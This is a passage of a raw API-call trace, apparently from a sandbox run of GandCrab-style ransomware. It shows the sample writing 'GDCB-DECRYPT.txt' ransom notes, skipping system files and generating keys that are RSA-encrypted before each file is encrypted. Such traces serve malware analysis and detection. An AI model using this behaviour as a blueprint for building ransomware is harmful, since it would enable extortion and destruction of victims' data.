0xffffffff [0171.914] GetLastError () returned 0x3 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.914] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\bs-latn-ba\\\\GDCB-DECRYPT.txt") returned 285 [0171.914] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\bs-latn-ba\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\bs-latn-ba\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.914] GetLastError () returned 0x3 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.914] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ca\\\\GDCB-DECRYPT.txt") returned 277 [0171.914] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ca\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ca\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.914] GetLastError () returned 0x3 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.914] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ca-es-valencia\\\\GDCB-DECRYPT.txt") returned 289 [0171.914] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ca-es-valencia\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ca-es-valencia\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.914] GetLastError () returned 0x3 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.914] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.915] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\cs\\\\GDCB-DECRYPT.txt") returned 277 [0171.915] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\cs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\cs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.915] GetLastError () returned 0x3 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.915] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\cy-gb\\\\GDCB-DECRYPT.txt") returned 280 [0171.915] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\cy-gb\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\cy-gb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.915] GetLastError () returned 0x3 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.915] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\da\\\\GDCB-DECRYPT.txt") returned 277 [0171.915] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\da\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\da\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.915] GetLastError () returned 0x3 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.915] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\de\\\\GDCB-DECRYPT.txt") returned 277 [0171.915] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\de\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\de\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.915] GetLastError () returned 0x3 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.916] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.916] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.916] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\el\\\\GDCB-DECRYPT.txt") returned 277 [0171.916] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\el\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\el\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.916] GetLastError () returned 0x3 [0171.916] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png") returned 276 [0171.916] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png") returned 276 [0171.916] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png") returned 276 [0171.916] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png") returned 276 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="desktop.ini") returned 1 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="autorun.inf") returned 1 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="ntuser.dat") returned -1 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="iconcache.db") returned -1 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="bootsect.bak") returned 1 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="boot.ini") returned 1 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="ntuser.dat.log") returned -1 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="thumbs.db") returned -1 [0171.916] lstrcmpiW (lpString1="ElevatedAppBlue.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.916] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappblue.png")) returned 0xffffffff [0171.916] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png", dwFileAttributes=0xfffffffe) returned 0 [0171.916] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.917] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.917] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.917] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.917] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.917] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0171.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.918] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.918] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.918] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.918] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.920] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636298) returned 1 [0171.920] CryptGetKeyParam (in: hKey=0x636298, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.920] CryptEncrypt (in: hKey=0x636298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2f90000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.920] GetLastError () returned 0x0 [0171.920] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.920] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.922] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636318) returned 1 [0171.922] CryptGetKeyParam (in: hKey=0x636318, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.922] CryptEncrypt (in: hKey=0x636318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2fa0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2fa0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.923] GetLastError () returned 0x0 [0171.923] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.923] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.923] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png") returned 277 [0171.923] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png") returned 277 [0171.923] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png") returned 277 [0171.923] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png") returned 277 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="desktop.ini") returned 1 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="autorun.inf") returned 1 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="ntuser.dat") returned -1 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="iconcache.db") returned -1 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="bootsect.bak") returned 1 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="boot.ini") returned 1 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="ntuser.dat.log") returned -1 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="thumbs.db") returned -1 [0171.923] lstrcmpiW (lpString1="ElevatedAppWhite.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.923] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappwhite.png")) returned 0xffffffff [0171.923] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png", dwFileAttributes=0xfffffffe) returned 0 [0171.923] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0171.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.924] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.924] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.924] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.924] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.925] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.925] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.925] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.925] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.927] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635f98) returned 1 [0171.927] CryptGetKeyParam (in: hKey=0x635f98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.927] CryptEncrypt (in: hKey=0x635f98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2fb0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2fb0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.927] GetLastError () returned 0x0 [0171.927] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.927] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.929] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636058) returned 1 [0171.929] CryptGetKeyParam (in: hKey=0x636058, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.929] CryptEncrypt (in: hKey=0x636058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2fc0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2fc0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.929] GetLastError () returned 0x0 [0171.930] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.930] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 